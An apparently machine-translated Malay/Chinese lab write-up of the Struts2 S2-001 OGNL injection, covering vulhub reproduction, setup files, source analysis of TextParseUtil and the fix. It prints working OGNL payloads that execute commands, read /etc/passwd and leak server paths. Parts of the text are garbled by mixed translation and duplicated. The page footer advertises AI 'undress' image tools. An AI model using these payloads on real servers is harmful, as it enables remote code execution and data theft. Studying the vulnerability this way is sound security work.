Jadual Kandungan
Siri kerentanan Vulhub: struts2 vulnerability S2-001
1 Perihalan vulnerability:
2. Eksploitasi kelemahan vulhub:
3.搭建环境
4.原理分析
5.漏洞修复
6.OGNL表达式
Rumah Operasi dan penyelenggaraan Keselamatan Analisis contoh kelemahan Struts2 S2-001

Analisis contoh kelemahan Struts2 S2-001

May 15, 2023 pm 03:58 PM
struts2

Siri kerentanan Vulhub: struts2 vulnerability S2-001

1 Perihalan vulnerability:

struts2 vulnerability S2-001 ialah apabila pengguna menyerahkan data borang dan pengesahan gagal, pelayan menggunakan OGNL. ungkapan Parsing nilai parameter, %{value}, yang telah diserahkan oleh pengguna sebelum ini dan isi semula data borang yang sepadan. Contohnya, dalam halaman pendaftaran atau log masuk. Jika penyerahan gagal, pelayan biasanya akan lalai untuk mengembalikan data yang telah diserahkan sebelum ini. Memandangkan pelayan menggunakan %{value} untuk melaksanakan penghuraian ungkapan OGNL pada data yang diserahkan, pelayan boleh terus menghantar muatan untuk melaksanakan arahan.

2. Eksploitasi kelemahan vulhub:

Menggunakan vulhub untuk menghasilkan semula kelemahan boleh menyelamatkan proses pembinaan persekitaran, yang sangat mudah.

alamat tapak web rasmi vulhub: https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

Mulakan persekitaran kerentanan.

docker-compsoe up -d
Salin selepas log masuk

Masukkan muatan ujian

%{1+1}
Salin selepas log masuk

struts2漏洞 S2-001实例分析Anda dapat melihat bahawa ungkapan penambahan kami berjaya dilaksanakan.

struts2漏洞 S2-001实例分析

Kali ini kita cuba perlaksanaan arahan, new java.lang.String[ {"cat","/etc/passwd"} Tukar kami di sini Perintah anda nak laksanakan.

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
Salin selepas log masuk

struts2漏洞 S2-001实例分析 Berjaya membaca fail passwd.

struts2漏洞 S2-001实例分析

Berikut ialah tiga pernyataan eksploit:

获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>
Salin selepas log masuk

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>
Salin selepas log masuk

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
Salin selepas log masuk

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
Salin selepas log masuk

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>
Salin selepas log masuk

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}
Salin selepas log masuk

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}
Salin selepas log masuk

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL ialah singkatan Bahasa Navigasi Grafik Objek Ia adalah bahasa ekspresi yang berkuasa (Bahasa Ekspresi, dirujuk sebagai EL Melalui sintaks ekspresinya yang mudah dan konsisten, anda boleh mengakses sebarang sifat objek dan memanggil kaedah tersebut daripada objek merentasi gambar rajah struktur keseluruhan objek dan melaksanakan fungsi seperti penukaran jenis medan. Ia menggunakan ungkapan yang sama untuk mengakses sifat objek. Tiga elemen OGNL: (Bahagian berikut dipetik dari suatu tempat di Internet, saya rasa ia adalah baik untuk dikatakan)

1 , dan semua operasi OGNL adalah Ia dilakukan selepas menghuraikan ungkapan. Ungkapan akan menentukan apa sebenarnya operasi OGNL ini akan lakukan. Kita dapat melihat bahawa dalam ujian di atas, nama, nama jabatan, dll. adalah semua ungkapan, menunjukkan bahawa nilai nama atau nama dalam jabatan diambil. OGNL menyokong banyak jenis ungkapan, dan kita akan melihat lebih banyak kemudian.

2. Objek Root

Objek akar boleh difahami sebagai objek operasi OGNL. Selepas ungkapan menyatakan "apa yang perlu dilakukan", anda juga perlu menentukan "kepada siapa" ia perlu dilakukan. Dalam kod ujian di atas, pengguna ialah objek akar. Ini bermakna kita perlu mendapatkan nilai atribut nama untuk objek pengguna (dan tetapkan nilai atribut nama dalam jabatan untuk objek pengguna).

3. Konteks

Dengan ungkapan dan objek akar, kita sebenarnya boleh menggunakan fungsi asas OGNL. Sebagai contoh, dapatkan atau tetapkan nilai objek akar berdasarkan ungkapan. Tetapi sebenarnya, dalam OGNL, semua operasi akan dijalankan dalam persekitaran tertentu, iaitu konteks OGNL. Untuk meletakkannya dengan lebih jelas, konteks inilah yang akan menentukan "di mana untuk melakukan" operasi OGNL.

Konteks OGN L ialah struktur Peta, dipanggil OgnlContext. Objek akar (Root

Objek) yang kami nyatakan di atas sebenarnya akan ditambahkan pada persekitaran konteks, dan ini akan diproses sebagai pembolehubah khas, khusus untuk objek akar (Root
Object) ungkapan operasi akses tidak perlu untuk dibezakan dengan menambah simbol #.

Senarai operasi fungsi ungkapan:
1. Akses kepada pokok objek asas
Akses kepada pokok objek dilakukan dengan menggabungkan rujukan objek menggunakan titik. Contohnya: xxxx, xxxx.xxxx, xxxx.
表达式功能操作清单:
1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如:new Java.net.URL("xxxxxx/")5. 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):6. 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7. 投影和选择
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
投影就是选出**中每个元素的相同属性组成新的**,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个**中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的**元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
Contohnya: #xxxx, #xxxx, #xxxx.xxxxx Selain menggunakan operator seperti +, -, *, /, ++, --, ==, !=, =,. anda juga boleh menggunakan mod, in, not in, dsb. 4. Bekas, tatasusunan, objek OGNL menyokong akses berurutan kepada bekas seperti tatasusunan dan ArrayList: contohnya: group.users[0]Pada masa yang sama, OGNL menyokong carian nilai utama untuk Peta: Contohnya: # session['mySessionPropKey']Bukan itu sahaja, OGNL juga menyokong ungkapan untuk pembinaan kontena: Contohnya: {"hijau", "merah", "biru"} membina Senarai, #{ "key1": "value1", "key2" : "value2", "key3" : "value3"}Bina PetaAnda juga boleh mencipta objek baharu melalui pembina mana-mana objek kelasSebagai contoh: new Java.net.URL ("xxxxxx/") 5. Akses kepada kaedah statik atau pembolehubah Untuk merujuk kaedah statik dan medan kelas, ungkapan mereka adalah sama seperti @class@member atau @class@method( args): 6. Kaedah Panggilan dilakukan terus melalui panggilan kaedah seperti Java Anda juga boleh menghantar parameter: Contohnya: user.getName(), group.users.size(), group.containsUser. (#requestUser) 7. Unjuran dan PemilihanOGNL menyokong unjuran dan pemilihan serupa dengan yang terdapat dalam pangkalan data. Unjuran adalah untuk memilih atribut yang sama bagi setiap elemen dalam ** untuk membentuk ** baharu, yang serupa dengan operasi medan pangkalan data hubungan. Sintaks operasi unjuran ialah koleksi.{XXX}, dengan XXX ialah atribut awam bagi setiap elemen dalam ** ini. Contohnya: group.userList.{username} akan mendapat senarai nama semua pengguna dalam kumpulan tertentu. Pemilihan adalah untuk menapis ** elemen yang memenuhi syarat pemilihan, serupa dengan operasi rekod pangkalan data hubungan. Sintaks operasi pemilihan ialah: koleksi.{X YYY}, dengan X ialah operator pilihan, diikuti dengan ungkapan logik untuk pemilihan. Terdapat tiga operator pilihan: ? Pilih semua elemen yang memenuhi syarat ^ Pilih elemen pertama yang memenuhi syarat $ Pilih elemen terakhir yang memenuhi syarat Contohnya: group.userList .{ ? #txxx.xxx != null} akan memperoleh senarai pengguna yang namanya tidak kosong dalam kumpulan tertentu.

Atas ialah kandungan terperinci Analisis contoh kelemahan Struts2 S2-001. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Tetapan grafik terbaik
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Akan R.E.P.O. Ada Crossplay?
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Cara melihat kelemahan sejarah Struts2 daripada perspektif perlindungan Cara melihat kelemahan sejarah Struts2 daripada perspektif perlindungan May 13, 2023 pm 05:49 PM

1. Pengenalan Kerentanan Struts2 ialah siri kerentanan klasik Punca utama ialah Struts2 memperkenalkan ungkapan OGNL untuk menjadikan rangka kerja itu fleksibel dan dinamik. Dengan tampalan rangka kerja keseluruhan yang dipertingkatkan, kini akan menjadi lebih sukar untuk menemui kelemahan Struts2 baharu berbanding sebelum ini, berdasarkan situasi sebenar, kebanyakan pengguna telah pun membaiki kelemahan sejarah yang berisiko tinggi. Pada masa ini, apabila melakukan ujian penembusan, kelemahan Struts2 kebanyakannya dibiarkan secara kebetulan, atau akan lebih berkesan untuk menyerang sistem yang tidak ditambal selepas terdedah kepada intranet. Artikel analisis di Internet terutamanya menganalisis kelemahan Struts2 ini dari perspektif serangan dan eksploitasi. Sebagai pasukan pelanggaran dan pertahanan H3C yang baharu, sebahagian daripada tugas kami ialah mengekalkan asas peraturan produk ips Hari ini kami akan menyemak sistem ini.

Apakah prinsip rangka kerja Struts2 Apakah prinsip rangka kerja Struts2 Jan 04, 2024 pm 01:55 PM

Prinsip rangka kerja Struts2: 1. Pemintas menghuraikan laluan permintaan; menghurai. Prinsipnya adalah berdasarkan mekanisme pemintas, yang memisahkan sepenuhnya pengawal logik perniagaan daripada API Servlet, meningkatkan kebolehgunaan semula dan kebolehselenggaraan kod. Dengan menggunakan mekanisme refleksi, rangka kerja Struts2 boleh membuat dan mengurus objek Tindakan secara fleksibel untuk memproses permintaan dan respons.

Analisis contoh kelemahan Struts2 S2-001 Analisis contoh kelemahan Struts2 S2-001 May 15, 2023 pm 03:58 PM

Siri kerentanan Vulhub: kerentanan struts2 S2-0011 Penerangan kerentanan: kerentanan struts2 S2-001 ialah apabila pengguna menyerahkan data borang dan pengesahan gagal, pelayan menggunakan ungkapan OGNL untuk menghuraikan nilai parameter yang sebelum ini diserahkan oleh pengguna, %{value} dan mengisi semula data borang yang sepadan. Contohnya, dalam halaman pendaftaran atau log masuk. Jika penyerahan gagal, pelayan biasanya akan lalai untuk mengembalikan data yang telah diserahkan sebelum ini. Memandangkan pelayan menggunakan %{value} untuk melaksanakan penghuraian ungkapan OGNL pada data yang diserahkan, pelayan boleh terus menghantar muatan untuk melaksanakan arahan. 2. Eksploitasi kelemahan Vulhub: Menggunakan vulhub untuk menghasilkan semula kelemahan boleh menjimatkan proses pembinaan persekitaran, yang sangat mudah. vu

Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula? Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula? May 23, 2023 pm 10:37 PM

0x00 Pengenalan Struts2 ialah rangka kerja sumber terbuka JavaWeb yang sangat berkuasa yang dilancarkan oleh organisasi perisian Apache, yang pada asasnya bersamaan dengan servlet. Struts2 adalah berdasarkan seni bina MVC dan mempunyai struktur rangka kerja yang jelas. Ia biasanya digunakan sebagai pengawal untuk mewujudkan interaksi data antara model dan pandangan, dan digunakan untuk mencipta aplikasi web Java peringkat perusahaan Ia menggunakan dan memanjangkan JavaServletAPI dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC. 0x01 kerentanan

Struts2-057 dua versi analisis contoh kerentanan RCE Struts2-057 dua versi analisis contoh kerentanan RCE May 15, 2023 pm 06:46 PM

Kata Pengantar Pada 22 Ogos 2018, Apache Strust2 mengeluarkan buletin keselamatan terbaharu Apache Struts2 mempunyai kerentanan pelaksanaan kod jauh berisiko tinggi (S2-057/CVE-2018-11776). Pasukan SemmleSecurityResearch. Kerentanan ini disebabkan oleh fakta bahawa apabila menggunakan fungsi ruang nama untuk mentakrifkan konfigurasi XML dalam rangka kerja pembangunan Struts2, nilai ruang nama tidak ditetapkan dan tidak ditetapkan dalam konfigurasi tindakan lapisan atas (ActionConfiguration) atau ruang nama kad liar digunakan, yang boleh membawa kepada pelaksanaan kod jauh. Dengan cara yang sama, u

Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048 Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048 May 12, 2023 pm 07:43 PM

0x00 Pengenalan Rangka kerja Struts2 ialah seni bina aplikasi web sumber terbuka untuk membangunkan aplikasi web JavaEE. Ia menggunakan dan meluaskan JavaServletAPI dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC. Gambaran keseluruhan kerentanan 0x01 Siri ApacheStruts22.3.x mempunyai pemalam struts2-struts1-plugin didayakan dan direktori struts2-showcase wujud apabila ActionMe

Contoh analisis risiko tapak rangka kerja Struts2 Contoh analisis risiko tapak rangka kerja Struts2 May 30, 2023 pm 12:32 PM

1. Gambaran Keseluruhan Struts ialah projek sumber terbuka yang ditaja oleh Yayasan Perisian Apache (ASF). Ia bermula sebagai sub-projek dalam projek Jakarta dan kemudiannya menjadi projek peringkat atasan ASF. Ia melaksanakan rangka kerja aplikasi [WebFramework] berdasarkan corak reka bentuk Model-View-Controller [MVC] bagi aplikasi Web JavaEE dengan menggunakan teknologi JavaServlet/JSP Ia adalah produk klasik dalam corak reka bentuk klasik MVC. Pada masa awal pembangunan aplikasi web JavaEE, selain menggunakan teknologi Servlet, HTM biasanya digunakan dalam kod sumber JavaServerPages (JSP).

Analisis contoh laporan CNNVD tentang kelemahan keselamatan Apache Struts2 S2-057 Analisis contoh laporan CNNVD tentang kelemahan keselamatan Apache Struts2 S2-057 May 11, 2023 pm 08:04 PM

Pada masa ini, Apache secara rasmi telah mengeluarkan kemas kini versi untuk membetulkan kelemahan. Adalah disyorkan bahawa pengguna mengesahkan versi produk Apache Struts tepat pada masanya. Jika terjejas, sila ambil langkah menampal tepat pada masanya. 1. Pengenalan Kerentanan ApacheStruts2 ialah sub-projek projek Jakarta di bawah Yayasan Perisian Apache Amerika Ia adalah rangka kerja aplikasi Web berdasarkan reka bentuk MVC. Pada 22 Ogos 2018, Apache secara rasmi mengeluarkan Apache Struts2S2-057 kerentanan keselamatan (CNNVD-201808-740, CVE-2018-11776). Apabila mendayakan fungsi ruang nama pan dalam rangka kerja pembangunan struts2

See all articles